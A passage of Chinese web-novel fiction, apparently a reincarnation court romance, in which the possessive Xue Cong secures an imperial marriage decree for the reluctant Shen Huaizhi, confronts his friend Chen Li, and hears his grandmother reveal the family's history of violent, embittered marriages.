这句话让薛琮莫名笑了一下,只是那笑意却很复杂很惆怅,“是啊,所以,我现在来还债了。” “这份债是你自己单方面认定的,”纵然心情不佳,也不影响沈怀栀言辞犀利,“从我打算和离开始,除了孩子之外,就不想我们之间有更多更深的纠葛了。” “即便到了现在,我依旧是这个想法,”她说,“所以,只要你不执着,我们之间立刻就能两清,你走你的阳关道,我过我的独木桥,大家彼此清静各自安好的过完这辈子,就是当下最好的选择。” “那只是你以为的好罢了,”薛琮道,“对我来说,我走的每一步做的每一件事,都是我心中所想。” “这辈子,你要遵从你的本心,即便与你的意愿相背,我也要遵从我的本心。” “即便这意味着我们两个日后要彼此互相折磨?”沈怀栀反问道。 “被你折磨,好过你看不见我。”薛琮轻声说,“再者说,你怎么知道,现在对我来说不是最好的日后?” 沉默许久后,沈怀栀才道,“看来,我是劝不了你的,既然如此,那从此之后,你也要清楚一件事,我的偏心是没救的,你不要妄想改变我,我也不会试图改变你,彼此就这样凑合着相处吧,直到我们其中一人哪天改变心意,到那时,一切自然会结束。” 看着这样冷静淡漠的沈怀栀,薛琮仿佛看到了年轻时的自己,那时候的他似乎就是这样对她的,一切仿佛旧日景象重现。 但偏偏,身处其中的两人早已彻底颠倒了心情与身份。 可是,那时的他纵然冷漠,心底其实是在意她喜欢她的,但现在的沈怀栀却不一样,她对他心如木石,甚至不愿意浪费时间去怨去怪去恨,这才是最可怕的。 心脏在不受控制的抽痛,即便眼前这种场景他早已幻想了无数次,心里也认为自己早已经接受这样的结果,但该有的痛苦,从不会因为他的多加练习而少却半分。 薛琮靠近沈怀栀,拉着对方的手塞进了自己的衣襟中,在她皱眉看过来时,轻飘飘的道,“别去想那些不开心的事了,也别去想讨厌的我,只看我现在这副颜色,亲近我应该不算吃亏吧?” 手底下是温热有弹性的肌肤,沈怀栀被迫将人摸了一遍,换来薛琮含笑眼神,“至少从外表来说,我作为一个男人,美色和本钱还是很足的,至于我的本事……” 在沈怀栀瞠目结舌的眼神中,他贴近了轻声道,“就算你只有过我一个男人,也该清楚我夜里的本事如何,要知道,从前围在你身边的那些女人,少有不肖想我的。” “你真的是……”沈怀栀此时当真不知道该用什么词来形容眼前的薛琮了。 他仗着如今这副年轻出色的皮囊,端着风流浪荡的做派,在这里一心一意的勾引沈怀栀,言辞也颇为大胆。 “我真的什么?”薛琮似笑非笑道,“你心里眼里看我讨厌,不愿意亲近我,不代表其他女人不馋我,你活着的时候她们背着你勾引我,等你不在了,更是手段百出想要博我一顾,我也就在你这里不值钱罢了。” 说着,他有些哀怨的看她一眼,“偏偏,人性本贱,我就喜欢你这种看我不值钱的。” 被薛琮这么一打岔,两人间气氛比刚才好了许多,对方既然递了台阶过来,沈怀栀自然也识趣接过,只是她到底不习惯这样的薛琮,整个人看起来为难纠结极了。 “你知道的,”沈怀栀有些尴尬的道,“其实,我不太想要你这种青睐,你可以去找其他人试试。” “你以为我没试过?”薛琮笑着反问她,“如果说李玉瑶只是个引你吃醋的幌子,在你不在了之后,一个位高权重且长相还不错的鳏夫,不知道有多少人等着接替你定国公夫人的位置,只说在外,对我自荐枕席之人就数不胜数,你甚至想象不到那些女人里都有哪些出乎意料之人。” 沈怀栀微微皱了眉,“你真的不用说这么清楚,我不想知道也不感兴趣。” “不管你是娶继室也好,还是纳色也罢,只要不亏待两个孩子,做什么都是你的自由。” “是啊,做什么都是我的自由,”薛琮收敛了笑意淡淡道,“所以,我不过就是一个守着儿女度日如年年老色衰的老鳏夫罢了。” 她以为他不想忘掉她放弃她吗? 当世上再无沈怀栀这个人后,他那颗疼得恨不得亲手挖出来的心里除了憎恨自己就是怨恨她,憎恨自己的懦弱愚蠢,怨恨她的离开,这种种情绪几乎要逼疯他,以致于他只能靠不断杀人来排解这些痛苦。 人都是自私的,就算知道她是所有人中最无辜的那个,他依旧深恨她,即便这样的心思极其卑劣。 但薛琮接纳自己的自私与卑劣,他本就是这样的人,没什么好羞于承认的,他只是愿意在沈怀栀面前维持自己好的一面,但并不意味着他当真有自己展现出来的那么体面。 痛苦能把一个还算正常的人逼成神经病和疯狗,有段时间,他似乎日日都能看到她站在面前,用无关痛痒的眼神看他一日日发疯的丑态。 有时候薛琮甚至在想,他不应该将她埋在地下的,他应该将她放在身旁,或许看着她在他眼前一日日腐烂后,他会彻底放下这份执念。 可他偏偏做不到。 他不舍得她变丑,他知道一个人死后会变得有多狼狈多丑,她那么要强体面的一个人,若是以这样的姿态残存于世,大概即便是死都不甘心。 所以,他把她打扮得漂漂亮亮之后,亲眼看着她入土为安,从此与泥土为伴,与黑暗为伴,只剩他一个人和怀里冰冷的牌位。 也是她离开之后,薛琮第一次知道自己竟然是会哭的。 自他开始懂事之后,就一向流血不流泪,所以,抱着死去的她崩溃时,他第一次清楚的意识到,他竟然是如此懦弱的一个人。 还有,他是不能接受失去她的。 从前她是他不能触碰的逆鳞,现在,则成了主宰他生死的死穴。 死去的沈怀栀,自此成为了他众所周知的软肋。 于他这样的人而言,软肋就是用来被人利用的,那些年里,他见过太多与她相似的面孔,但每一个都不是她,看着那些出现在他面前的 人,他既不会动容也不会欣喜,心里只有一个想法,为什么死的不是她们呢? 这世上活着无用且面目丑陋的人那么多,为什么偏偏要带走一个做了许多好事救了许多人的沈怀栀? 薛琮觉得自己不能容忍,不能容忍那些人在他面前招摇肆意,不能容忍她死之后还被利用,更不能容忍自己的心意被人踩进泥泞里,好像他的痛苦全都不值一提似的。 所以,他当然有权利发疯,毕竟,他之所以这么做,全都是被那些心怀不轨的人逼的。 他只是以牙还牙以血还血罢了。 现在,他抱在怀里的不是冰冷的牌位,而是活生生的人,温暖柔软,会说会笑,虽然不会对他笑,但是会对他生气对他动手,偶尔还会施舍一点心软与怜悯,和过去相比,已然是极乐之境了。 当然,他还能更快乐。 薛琮揽着沈怀栀的腰贴近自己,姿态亲密的和她咬耳朵,“老鳏夫要为心爱的妻子守身如玉,但现在玉洁冰清的世子不需要,他很乐意成为真珠姑娘的裙下之臣,将自己的清白奉献给她。” 沈怀栀颇有些一言难尽的道,“你现在真的是装嫩上瘾了,寡廉鲜耻至极。” “不是我寡廉鲜耻,是你太严于律己,”薛琮低声笑道,“真珠,对自己别那么苛刻,男人们既然可以三妻四妾,女人们当然也可以三夫四侍,你可以心里有一个男人,身边有另一个男人,只要你乐意,谁能拦你。” 沈怀栀看起来是很不认同很不情愿的,但不妨碍薛琮继续语出惊人,“你只当,娶我做了你的继室,非要逼你宠幸于我吧。” “真的大可不必。”沈怀栀整张脸都难受得皱了起来,她用力推开薛琮不安分的手,快走几步在距离他远远的位置站定,才转而问道,“五皇子那边,你什么打算?” “如果你打算以此胁迫沈家的话,我恐怕要让你失望了。” 薛琮有些可惜的坐直身体,但却懒得理会自己那凌乱褶皱的衣裳,轻声叹了口气道,“胁迫是没有的,只是想你多少依靠我两分罢了。” “依靠你没什么不好,”沈怀栀实话实说,“但是,在我看来,一个人的靠山与依仗,同时也是她的风险与危险,在我这里,你尤其如此。” “所以,我不想选你。” 第42章 第42章—— 最后,没被选择的薛琮这天夜里没能得到亲近沈怀栀的机会,临走时都有些怏怏不乐。 但沈怀栀不在乎,她现在就仗着薛琮对她的在乎来尽力达成南下之事。 也就是在隔天,突如其来的意外打乱了她的节奏。 从前活过的那么多年人生里,沈怀栀有一个清晰的感触,那就是宁可和聪明人为敌,不可和蠢人为难,更不能与疯子论长短。 因为聪明人尚可揣摩,蠢人却永远会在你预料不到的地方坏事,至于疯子,那更是有理智的人难以招架应付的对手。 不巧的是,五皇子虽然不蠢还有几分聪明,身上却偏偏有几分疯性。 上辈子的他登基为帝之后无数人深受其害,纵然如今在夺位之争中暂且失势,也不妨碍他一心一意的给诸多兄弟拖后腿使绊子。 而就是这样一个人,身处现在的糟糕境地之中时,竟然还有心情去继续他那份为讨自己欢心定下的纳侧计划。 当五皇子妃从心腹嬷嬷口中知道这个消息时,都要为丈夫的恣意妄为气疯了,本来此时最应该夹着尾巴做人的五皇子本人,这会儿竟然要为了一个女人入宫去向他那个早就变得刻薄寡恩的父皇讨人情。 这种行径,得是多疯癫的人才能干得出来? 她这里气得头晕目眩,心腹嬷嬷在一旁急声哄人道,“娘娘先别这么生气,殿下一向行事恣意,这会儿进宫不见得真是为了纳侧妃之事,我看殿下近日心情不佳,约莫是犯了古怪脾气,非要去圣人那里讨不痛快呢!” 所以,侧妃不侧妃的不是重点,重点是他们家殿下说不定又要在风口浪尖上惹怒圣人了啊。 一想到这里,五皇子妃再坐不住,搭着嬷嬷的手就赶忙起身,连声道,“递牌子进宫,去见母妃,万不能让殿下再惹出事端来。” 皇子府内,因为五皇子出乎意料的行事闹得人仰马翻,而禁宫之中,年老体衰的圣人刚喝完养身的汤药,正一边听重用的心腹回禀政事一边闭目养神。 “你最近的差事办得是越发合朕心意了,”圣人咳了两声道,“你倒是一如既往的让朕省心,朕那些儿子们,若是有玄章你三分懂事,也不会让朕如此为难。” “都是有赖圣人教导。”一旁的薛琮恭敬回道。 闻言,圣人笑了笑,半点不打算否认,“确实,你跟在朕身边多年,为人行事多少有几分朕的影子,这是应该的。” 提及旧事,圣人似是心情好了些,直言道,“听说你最近婚事不顺,怎么,心仪的姑娘不肯嫁你?” 薛琮面上露出两分为难,显然有被说中痛处,一副年轻人为情所扰的模样。 “你啊,这样看起来才好些,”圣人大声笑道,“从前日日板得像块木头似的,为人冷硬如冰,哪家姑娘受得了,男人嘛,哄女人就要知情识趣些,这点上,你还是要和朕多学学。” 面前这个人是薛琮两辈子唯一愿意无条件效忠的人物,不管老皇帝对别人怎么样,这么多年来对他确实极好,可以说是如师亦如父,无论是权力还是宠爱都毫不吝啬,他自然要投桃报李鞠躬尽瘁。 若非看在老皇帝的面上,多年后野心无限膨胀的他,未必没有取而代之的心思。 但现在,他愿意在老皇帝面前效仿多年前的自己,做一个听话的孝子贤孙。 当五皇子入宫的消息传来时,他就知道自己的机会来了。 这个老对手,多年交锋他也是了解透彻,对方行事时常不按常理出牌,所以,他当然要“被迫”先发制人。 “臣虽然想学,但现在恐怕有心无力,”薛琮直言道,“正事当前,儿女情长终究只是小道,不值得浪费更多心思,所以,臣有个不情之请,希望您能为臣与心上人赐婚。” 薛琮这番回答无疑极合老皇帝心意,他确实希望得自己倚重的心腹重臣姻缘顺利,但也不希望他囿于情爱小道,所以,一个赐婚旨意而已,不管那个姑娘什么身份心意如何,在帝王至高无上的权势面前都无关紧要。 “赐婚而已,朕难道还会驳了你的心意?”圣人道,“莫说现在你有了意中人,就是从前,朕也期望你早日成家,如此才不辜负朕作为长辈的心意。” 当然,主要也是老皇帝清楚,他这个心腹确实是值得信任重用的,否则不会让他这些儿子们这么忌惮痛恨。 身为永嘉侯世子的薛琮,是他手中最得力最好用的那把刀,即便用来斩他那些亲生骨肉,都不会有半分迟疑。 外间总有人说薛琮是他豢养的恶犬,这点老皇帝不否认,但恶犬养得好了,可是比人亲的,有些人是舍得弄死儿子却不舍得弄死爱犬的,于他来说,薛琮便是如此。 所以,这何尝不是另一种层面上的君臣相得呢。 君臣闲话过后,一路气势汹汹入宫的五皇子很快到达御书房。 诚如薛琮所想,这人确实来者不善,大概是真的天生脑子有问题,在此时夺位之争如火如荼四面楚歌的处境下,他竟然真的有闲情逸致为了娶侧妃之事来烦扰脾气不好的亲爹。 不死心的五皇子就这样站在圣人面前,拼着触怒对方的风险,说 是想要求一封赐婚圣旨,在薛琮面前明晃晃的昭示了自己对沈怀栀的觊觎。 说出沈家那个姑娘的名字时,五皇子十分嚣张的看了薛琮一眼,那目光中的挑衅,只要眼睛不瞎的人都能看得出来,但即便如此,他依旧不加遮掩。 圣人今日难得露了两分厌恶在脸上,他这个儿子,讨人喜欢的时候是真的讨人喜欢,但在招人厌恶这件事上,同样有不俗的本事。 他这会儿来是为了娶一个侧妃吗,不,他只是想痛打亲爹豢养的恶犬罢了。 都说打狗还要看主人,他这个儿子如此不识趣,显然更多的是对他怨恨嫌隙已深。 所以,五皇子这会儿越是标榜自己的坚持与固执,老皇帝只会越生气,尤其是在清楚知晓沈家拒婚薛琮却被自己这个儿子盯上之后,他只会更为厌恶他此时行径。 最后,宫中今日确实送了一份赐婚圣旨出来,却不是五皇子想要的赐婚,而是赐婚永嘉侯世子与沈家七姑娘沈怀栀的正式旨意。 当传旨太监到达沈家时,所有人都措手不及。 沈怀栀站在人群中,只短暂的惊讶了一瞬赐婚到来的时机,就又恢复了平静神色。 她知道这一天必定会来,但比她想象中要快许多,只要再晚上一两日,她就能以出家女冠的身份离开帝京,但薛琮显然不想给她这个机会。 圣旨过后,整个沈府喜气洋洋,就算是心有顾虑的老夫人,这会儿也难免忧中掺喜。 “既然是圣人旨意,看来无可转圜了,”老夫人道,“虽说你日后注定要嫁去薛家,但未必不能将有些本事传授给家里人,至多你父亲回京的日子往后延些,这么一想,祖母还是能接受的。” “祖母的意思我知道了。”沈怀栀淡声道。 赐婚而已,沈怀栀想,只要她不想,她就一定有办法不嫁。 这辈子她不打算成为任何人的妻子,就算哪一日改了心意真要嫁,这个人也不会是薛琮。 他最好不要逼她,不然,闹到彻底撕破脸的地步,就算拼着两败俱伤,她也一定要按照自己的心意而活。 第43章 第43章—— “我还以为你会生气。”这日晚间,薛琮来时第一句话就是这句,显然对自己此番行径带来的结果心里有数。 沈怀栀手上打着络子,头也不抬的道,“我也说过,我很了解你。” 所以,不管是先下手为强还是不择手段,她都没必要那么意外,和薛琮这个人为敌,她习惯见招拆招。 毕竟,这是一个习惯断人后路将对手玩弄于股掌之中的政客,即便薛琮看起来心爱她,沈怀栀也不曾奢望过他不对她耍手段。 现在发生的这些,无非是应验她的推测而已。 “虽然不想惹你生气,但事到临头,偶尔总要变通妥协一二,”薛琮为自己辩解说,“当时五皇子在圣人面前一心想要求娶你为侧妃,我总不能让他如愿。” 沈怀栀停下手中动作,抬头看他,明亮烛光中,薛琮仍是那副招摇的艳色外表,但神情与气质都沉稳许多,已然有了几分她记忆中定国公的模样。 相较之前那种不太正常的状态,她还是更习惯于现在的他,不发病的薛琮,才是沈怀栀愿意用理智沟通的对象。 “五皇子如今身处困局,总不会突然心血来潮要选妃纳色,”沈怀栀淡淡道,“这个想法追根溯源一下,其中是不是有的你影子呢?” “所以,虽然被迫请求圣人赐婚,被迫在五皇子面前保下我,还是挺委屈你的。” “果然瞒不过你,”薛琮轻声叹了口气,“虽然我也无意隐瞒。” 薛琮没在这件事上多说,只是转而问道,“你不是已经将所有事都安排好了,打算什么时候南下?” “最晚不超过十日。”沈怀栀道,“本来我就不打算在帝京多待,现在你一回来,我更不想待在这个即将变得乌烟瘴气的京城了。” “有你在帝京兴风作浪,这里实在不是久留之地。” “你对我总是这么心狠苛刻,”薛琮道,“那婚事呢,我们之间的御赐婚事怎么办?” “这就是你需要操心的事情了,”沈怀栀淡淡道,“我是必然要如期南下的,不管我留下的是什么烂摊子,你都只能自己料理。” “好吧,”薛琮无奈一笑,“这也算是甜蜜的负担了,我会处理好的。” 末了,他又问道,“听说你约了怀逸后日见面,是为了一同南下之事吗?你依旧打算和他一同南行?” “我不希望他待在京城,”沈怀栀直言不讳道,“如果你阻碍我的计划,到时候或许会闹得太难看,你最好有个心理准备。” “何必动这么大气,”薛琮在沈怀栀身旁落座,亲昵的碰了碰她的脸颊,低声道,“我都舍得让你南下了,一个陈理而已,我尚且不放在眼里。” “是吗?”沈怀栀眼神里写明了她根本不相信他此时外强中干的说辞。 “这会儿你信不信不重要,不如到时候看我表现,”薛琮拿过她手里的络子边摆弄边道,“不过,你去见怀逸那天,我恰好也要和他见上一面,到时候我们不如同行?” “可以。”沈怀栀应下这个请求,她也想看看,薛琮到时会和陈理说些什么。 就算两人是好友,她也不觉得薛琮会对陈理心慈手软。 这天晚上,薛琮没再做什么惹沈怀栀不快的事,他只是安安分分的坐在她身边,握着她的手非要跟她学打络子,虽然起初有些笨拙,但很快就熟练上手,亲自做了一个如意络子出来,还串好了玉佩绳珠,亲自挂在了沈怀栀腰间。 “我的手艺还不错,”薛琮看着自己的作品挂在沈怀栀身上,满意笑道,“等我再学些新花样,日后你就有更多选择了。” “那你尽可以慢慢学。”沈怀栀觉得,薛琮能有些分神花心思的事情做,总比一直琢磨她来得好,所以,她很支持他这个新增的兴趣爱好。 虽然看穿了她的打算,但薛琮依然兴致勃勃,这天晚上他没停留太久,守在沈怀栀身边等她睡着之后,便早早离开了。 毕竟,按照他的说法,他现在有很多事情要做,帝京风雨欲来,他总要为此出一份力。 *** 和陈理见面那天,天气不太好,天上阴云密布,看起来似是要下雨。 薛琮一早便登门沈家,以邀请未婚妻一起出门的名义接到了沈怀栀,虽然期间总是被沈老夫人或喜或忧的复杂神情所扰,但依旧不影响他的好心情。 上了沈家的马车占据沈怀栀身旁的位置后,薛琮突然道,“到时候我先去见怀逸,我同他许久未见,有些话要说,等我们聊完,你们再谈南下的事如何?” 沈怀栀目光深深的看了薛琮一眼,“可以。” 于是,最后在薛琮定好的包厢里,沈怀栀坐在屏风后,等来了陈理。 绣着春色桃花的屏风,将人影遮掩得影影绰绰,来赴约的人没看到沈怀栀,却见到了坐在那里犹如主人一般等待客人的薛琮,心中生出了不妙预感。 沈薛两家得圣人赐婚之事已经传遍京城,陈理自然知晓如今的他该如何做,尤其是在之前五皇子打算纳沈怀栀入府时,他在父亲那里因为求娶七姑娘之事吃了闭门羹,更是清楚此时两家这份婚约的分量。 面对曾经的好友薛琮,只说在这件事上,他不止输了一筹,还输得彻彻底底。 至少他是无法做到违背家人心意一心坚持自我的,身处家族之中,不能不有所妥协。 “玄章,恭喜你和七姑娘喜结连理,”坐下之后,陈理试图露出一点喜悦之意,“希望你们日后恩爱情深,百年好合。” 薛琮看着眼前这个更为年轻的情敌,心情复杂,他以为当年的怀逸是天长日久相处后 生出的妄念,谁知道,早在故事开始之前,他就已有心思。 “我以为,你会怪我。”薛琮直接道。 “这话从何说起?”陈理笑了笑,有些惆怅的道,“虽然我心里确实有些难受,但难关当前,我总还是清楚怎么做对七姑娘来说才是最好的,总不能真让她进了五皇子府吧?” “囿于深宅,还要和那么多人分享同一个夫君,纵然能做侧妃,也不过是富贵人家的妾室,或许还要卷入权位之争,这样的生活,我不觉得她会喜欢,相较起来,你和薛家已经是极好的选择了。” “你倒是深知她心意,替她考虑的周全。”薛琮淡淡道,语调里总有一股挥之不去的酸意。 “也就是在你面前,我才敢说这些,”陈理苦笑道,“但凡换一个人,若是在对方未来夫婿面前说这些话,那不是想帮人,那是害人,也就是你我相交坦荡,我才敢如此坦白。” 薛琮闻言,心中越发酸涩,你看,这就是陈怀逸,他确实是个难得的可以交托背后的友人,只可惜,他到底是越界了。 他偏偏看中了他最不能放手的宝贝。 “其实,将五皇子的消息传给你时,我有过犹豫,”薛琮突然说,“我给了你机会,也给了自己机会,但很可惜,最终与沈家结亲的是薛家。” 这话让陈理陷入了长久的沉默,他坐在那里,像是在思虑也像是在放空自己,许久未曾说话。 最后,他从失神中回神,轻声道,“人面对重要的选择时总要有所取舍,我只是……” 选择了于他而言更重要的家人而已。 父亲的白发与皱纹,母亲的愁苦面容与哀求,祖母的不赞同与叹息,陈家不是他一个人的陈家,他不能将自己自私选择带来的苦果让全家人替他承受。 他本也不是那么自私的人。 “没必要愧疚,”薛琮淡声道,“你本也不必背负沈怀栀的人生,就算她对你有那么几分好感和心意,也不值得你为此背弃家族,毕竟,她待你的本心并不纯粹。” 薛琮一句话,惊了屋内两个人,陈理是疑惑不解,沈怀栀自然是气怒交加。 她没想到,薛琮居然会当着陈理的面说破这件事,但气怒过后,她又清楚,或许说开也是好的,如今的陈理,不需要受困于她对另一个人的心意。 “玄章,你的意思我不明白,”陈理问道,“你到底想和我说什么?” 薛琮看着好友的眼睛,轻叹了一口气道,“我只是想告诉你,不必负累于真珠对你的心意,她有时候行事有些越界,但那并不是她的本意。” “她曾经有过一个很喜欢的人,和你有点像,所以在遇到你之后,难免有些移情,我说这些,是希望你能体谅她从前的不妥之处,日后不要再生出困扰。” 陈理很想否认,但仔细想过后,又能从过去寻出几分蛛丝马迹来,这下子,他终于绷不住心里难受的劲头,面上带出了些许痛苦来。 薛琮看着这样的陈理,仿佛看到了从前的自己,只是那时候的他要更为痛苦更加难以接受而已。 他丝毫不介意假惺惺的安慰自己的情敌,“我知道你有些难以接受,但好过一直被蒙在鼓里,等时间久了事情过去,你再看现在的自己,只会一笑而过。” 薛琮那副轻描淡写仿佛对此习以为常的姿态看在陈理眼里,实在让人难受,于是他不禁反问道,“你呢,你不介意吗?” “从前介意过,”薛琮笑了笑,坦言道,“但现在我已经放下,如果心想事成意味着要忍受这点瑕疵的话,那我愿意忍。” 更何况,现在更重要的是人,只要人是他的,有时候心在不在他身上,也就没有那么重要了,当然,这点心路历程就不必告诉情敌了。 “总之,一旦我们成婚,日后不管是生是死,我们都注定了夫妻一体,我绝无可能放弃她背叛她。” 陈理至此无话可说,虽然觉得好友的想法有不妥之处,但仔细想过之后,又突然觉得,这种坚定不移选择她偏向她的男人,或许才是她想要的。 他从前和沈怀栀聊天时曾无意提及她的双亲,那时候她的表情看起来很是惹人心疼,一个在家里不被爱且不被偏爱的孩子,如果能遇到一个一心偏爱她的人,似乎也没那么坏。 最后,陈理沉默许久后说,“如果你真是这样想的,那就好好对她。” “不用你说,我也会的。”薛琮道。 有些话,陈理知道自己不该说,没有立场说,但犹豫了许久,最终还是没忍住。 “玄章,请容许我胡言乱语一次。” “你和七姑娘都是我的好友,我希望你们成亲之后和和美美,所以有些话不吐不快。” “你说,我听。”薛琮道,“我知道你是出于好意。” 虽然说出的话不一定是好听话,但薛琮也很好奇此时的陈理还能说些什么。 陈理清了清嗓子,郑重其事的道,“我一直觉得,喜欢一个人的心意固然重要,但方式和手段也要讲究,不然,那就不是爱,而是伤害了,甚至有时还会弄巧成拙,偏偏这种因为爱造成的伤害,更伤人心,倒不如从来没有过。” “我见过这样的事情,所以不想你重蹈覆辙,毕竟,你也知道你的性情,一向疏于这些。” 说真的,薛琮无论如何都想不到,陈理想说的竟然是这些。 他不止被对方上了一课,更是突然生出了一种,陈理又把沈怀栀从他这里明晃晃抢走了一次的感觉。 他想,这就是为何他在真珠离京之前,宁愿用卑劣手段让圣人赐婚,也一定要阻止他们两个人在一起的理由,即便明知道她不会嫁给陈理,他也决不容许存在一丁点可能与纰漏。 “多谢你的关心,我日后会注意的。”就算不愿,薛琮也好声好气的接受了对方的建议。 陈理挑了挑眉,温言笑道,“比起之前,你好像变了很多,我的意思是不止打扮。” 穿明艳颜色的薛琮虽然令人意外,但更令人意外的是他此时的反应,至少,陈理没想过事情会如此顺利。 “要成家了,人总要有些变化,”薛琮也回以笑容道,“现在的七姑娘不喜欢我从前那副模样,为了讨她欢心,总要有些变化。” 闻言,陈理心情有些复杂,但也不再介怀于心,只诚挚的对两位好友送上自己的祝福与心意。 “怀逸,我还有一件事想要托付你,”临分别前,薛琮慎重道,“再过不久真珠就要南下梧州,听说你同样有南下的打算,所以,我希望你能帮我照顾她一段时间。” “因为我无法陪伴她同行,所以,我将她的安危暂时交给你。”薛琮玩笑一般提醒道,“我视她如半身与性命,你可千万不要监守自盗啊。” 陈理压下心中苦涩,认真点头,“好,我会照顾好七姑娘,不负玄章所托。” 送别陈理时,薛琮想,我那么心爱的沈怀栀,绝不会让给任何人的沈怀栀,怀逸,这次,你一定要替我“守”好她啊。 等房中只剩两个人时,薛琮走到屏风后,看到了低着头面无表情的沈怀栀。 “我已经答应让你南下,也会让怀逸陪你南下,这个结果应该让你满意吧,”他坐在沈怀栀身旁,抬起她的脸轻声道,“我已经退让至此,真珠能不能给我一个笑脸呢?” “我笑不出来,”沈怀栀实话实说,“你也不必试探我,我对陈理,再不会越界。” “是啊,你不会越界,”薛琮莫名冷笑一声,“我以为,你回来后就会同他在一起,没想到我也有看错的时候。” “不对,其实我也没看错你,”薛琮摇摇头,语调里是旧日难以释怀的憎恨,“正因为你心爱他,所以才不会和如今的他在一起。” 但是那又如何呢,薛琮眼里心里,无论是陈怀逸还是陈理,依旧是他必要除之而后快的心腹大患。 他只有一个沈怀栀,是决不肯分给任何人的。 那颗心也就算了,他用了许多年的时间才被迫接受现实,因为如果不接受,他就连现在这重来的机会都没有,但也仅止于此了,他的自私 让他只能退让到这个地步。 他只庆幸,沈怀栀是这样一个天真纯粹的人,若不然,他将毫无机会。 但这份庆幸也仅限于她,真论起来,他心中其实对她的固执与偏执是嗤之以鼻的,因为如果换做是他,他早就先下手为强,将人吃干抹净,所以,幸好他这样的人遇到的是沈怀栀这样的人。 你看,他对这样的她只能是又爱又恨了,有时爱到想和她纠缠共生成为一棵树,有时又想将她整个人的血肉吞吃殆尽再不分离,总之,他这种糟糕的人遇到她是幸运至极的事。 虽然有些病态,但他已然习惯这样的自己了。 薛琮抱着沈怀栀,应对着心里陡然而生的痛苦,如果我能不爱你就好了,如果我能放弃你就好了…… 他早已习惯了这种突如其来的难过,他知道,自己又开始重复起从前已经做了无数遍的事,陷入新的梦靥里走不出来了。 这日的相会结果还算不错,虽说沈怀栀本人没能和陈理直接对话,但结果称心如意才最重要。 难得的,她竟然生出了一点激动,她好像,真的要走出这困了她两辈子的牢笼了。 薛琮将沈怀栀的喜悦看在眼里,目光深了深,最后只安静的闭目抱紧了她。 他是绊不住她的脚步的,因此,只能让她走得毫无后顾之忧。 *** 永嘉侯府,太夫人在为心爱的孙子相看成婚吉日时,突然遭遇了一点麻烦。 “你说什么?”满眼不肯置信的太夫人提高了声音道,“你近期没有成婚的打算?沈家打算送沈姑娘去南边梧州看望父母?” “玄章,你要不要听听你在说什么傻话?”太夫人难得生出了几分怒气,“你以为祖母为何一直催着你成婚,难不成就只是为了娶妻生子吗?你到底还记不记得你成婚这件事意味着什么?!” “孙儿很清楚。”薛琮神色平静道,“祖母不必动怒,且听我细细道来。” “好,你说!我倒要听听你能说出什么花样来!” “你们先下去。”薛琮将房内伺候的人全部遣退,派人守好了门户之后,这才不紧不慢的道,“祖母,我不止近期不会成亲,未来几年内婚事可能也不会顺利举行,您期盼的孙子孙女更是不知何时会来。” “如果您老人家真想身边有孩子陪伴,我可以从族中挑选几个孩子陪在您身边聊以慰藉。” 这番话一出,太夫人怒气反而降了下来,她阴着脸看着自己的宝贝孙子,直接道,“你这话是什么意思,说明白点!” “祖母一直不希望我走前人老路,但我作为祖父与祖母的孙儿,父亲与母亲的孩子,怎么会不像你们呢,”薛琮话语平淡,态度自然,甚至还在太夫人怒气蓬勃的眼神中姿态从容的笑了笑,“虽然有些抱歉,但我不过是走了你们的老路罢了。” 太夫人直直的瞪了薛琮许久,最终神色疲惫的闭上了眼,“你什么时候知道的?” 不止亲生父母的事,还有她和老侯爷的事。 “一个秘密,只要有第二个人知道,就不再是秘密,”薛琮说,“我只是好奇,为何自己与旁人不同罢了。” 在失去沈怀栀的那些年里,薛琮有过太多不切实际疯癫妄想的念头了,偏偏,他还是一个能让自己所有念头付诸现实的人。 从前,他只知道自己的双亲是一对怨偶,父亲娶了祖母娘家的侄女,从小青梅竹马两情相悦的长大,却在生下他后,父亲在外另有所爱,然后因为这个真爱闹到两人两败俱伤,最后双双死于船难。 说是船难,其实薛琮后来已经清楚的知晓,那是他的亲生母亲对背叛自己的负心人的制裁,至于那个真爱,同样死得毫无声息。 所以,可以说他的母亲亲手杀死了他的父亲,以爱憎的名义。 至于他的祖父和祖母,那就是另一个更为糟糕的故事了。 闭着眼的老夫人突然冷笑一声,神色漠然的道,“知道也好,总归是家里不能见人的丑事,你总有一天要知道的,毕竟我看你也快走上他们的老路了。” 说完,她看着薛琮,直接言明了当年旧事,“不提你的祖父,但你的父亲,我的亲生儿子,实在是像极了他那个无能懦弱没担当的父亲。” “他自小就怕我这个亲生母亲,所以他骗你的母亲,勾引她诱惑她,让她做他的支撑与靠山,替他撑起一片天,如果他能一直真心诚意也就罢了,却偏偏像极了你那薄情的祖父,将人利用完之后还要找个真爱,对于真爱掏心掏肺,要身份给身份,要地位给地位,宠爱和荣华富贵更是毫不吝啬的给,他以为,崔家的女人是好招惹的,以为你母亲对他一片痴心只能妥协,但很可惜,你母亲像我,对于背叛的负心人,总不会轻易原谅。” 太夫人没细说那两年里那对夫妻是如何恨海情天彼此折磨的,冰冻三尺非一日之寒,走到最后那个地步,谁都不无辜。 “现在,这么像我们的你,也要去害你喜欢的人了。”太夫人轻声道,“看你这模样,沈怀栀一定是不喜欢你的,所以,你们两个人,日后或许也会步我们的老路。” 薛琮想,祖母确实说对了,沈怀栀已经被他害过一次,可他就是不肯放手,非要再和她继续纠缠下去。 “以后,我会改变。”薛琮如是说。 “是吗?”太夫人轻飘飘的反问道,“反正薛家和崔家的根子都不算好,你最好真的不会伤害她。” “有时候,我都希望沈姑娘是我薛家亲生的孙女了,那样一个纯粹的小姑娘,就算不爱她伤害她,她也不会像你疯癫的母亲和祖母一样,伤害心爱的人,至少,对我来说,我是很喜欢这种人的,毕竟,这种美好的品德,我们两家是丁点儿没有。” “当然,你身上也是没有的。” 薛琮不言不语,太夫人脸上露出疲惫之色,末了随意挥挥手道,“好了,我已经知道你今天要和我说些什么了,祖母都同意了。” “日后不管你做什么,都随你心意吧,不管娶不娶妻生不生子,那都是你的事,祖母不会再干涉,这样我还能省心清净的多活两年。” 说完之后,薛琮人被撵走,太夫人自己一人坐在房中,面无表情的扯了扯嘴角。 为了说服她,竟然拿家族秘辛来要挟,她这个孙子也是越来越有本事了,当然,太夫人其实并不怎么在意被孙子窥探到过去的隐私与秘密,只是一旦将真相揭开,怕是他们这对祖孙从此之后再无法如常相处。 显然,薛琮也是这么想的,所以见好就收。 太夫人想,薛家确实是一脉相承的真爱至上,而崔家的女人们,也永远都改不了心狠手辣的秉性。 